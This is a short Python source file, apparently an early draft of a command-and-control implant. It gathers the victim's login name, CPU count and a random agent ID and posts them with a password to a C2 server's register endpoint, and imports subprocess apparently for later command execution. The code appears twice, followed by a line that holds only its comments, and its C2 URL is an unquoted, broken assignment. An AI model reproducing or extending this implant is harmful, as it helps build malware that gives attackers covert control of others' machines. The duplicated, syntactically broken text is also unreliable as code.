# note agent = implant

import requests
import os
import subprocess

password = "<PASSWORD>"
#config:
c2_url = http://localhost:5000
register_url = "/register"

def init_data():
    # get current user using os

    # this will be initial data we send to the c@
    global agent_id ## allows access outside of the function
    whoami = os.getlogin()
    cpus = os.cpu_count()
    agent_id = os.urandom(16).hex()

    return {"whoami": whoami, "cpus": cpus, "agent_id": agent_id}



def register():
    data = init_data()
    data["password"] = password
    r = requests.post(c2_url + register_url, json=data)
    if r.status_code == 200:
        print("registered")
    else:
        print("error")

    print(r.status_code)

    # some sort of error handling when connection fails

if __name__ == "__main__":
    register() ## let the c2 know we are here
# note agent = implant

import requests
import os
import subprocess

password = "<PASSWORD>"
#config:
c2_url = http://localhost:5000
register_url = "/register"

def init_data():
    # get current user using os

    # this will be initial data we send to the c@
    global agent_id ## allows access outside of the function
    whoami = os.getlogin()
    cpus = os.cpu_count()
    agent_id = os.urandom(16).hex()

    return {"whoami": whoami, "cpus": cpus, "agent_id": agent_id}



def register():
    data = init_data()
    data["password"] = password
    r = requests.post(c2_url + register_url, json=data)
    if r.status_code == 200:
        print("registered")
    else:
        print("error")

    print(r.status_code)

    # some sort of error handling when connection fails

if __name__ == "__main__":
    register() ## let the c2 know we are here
# note agent = implant #config: # get current user using os # this will be initial data we send to the c@ ## allows access outside of the function # some sort of error handling when connection fails ## let the c2 know we are here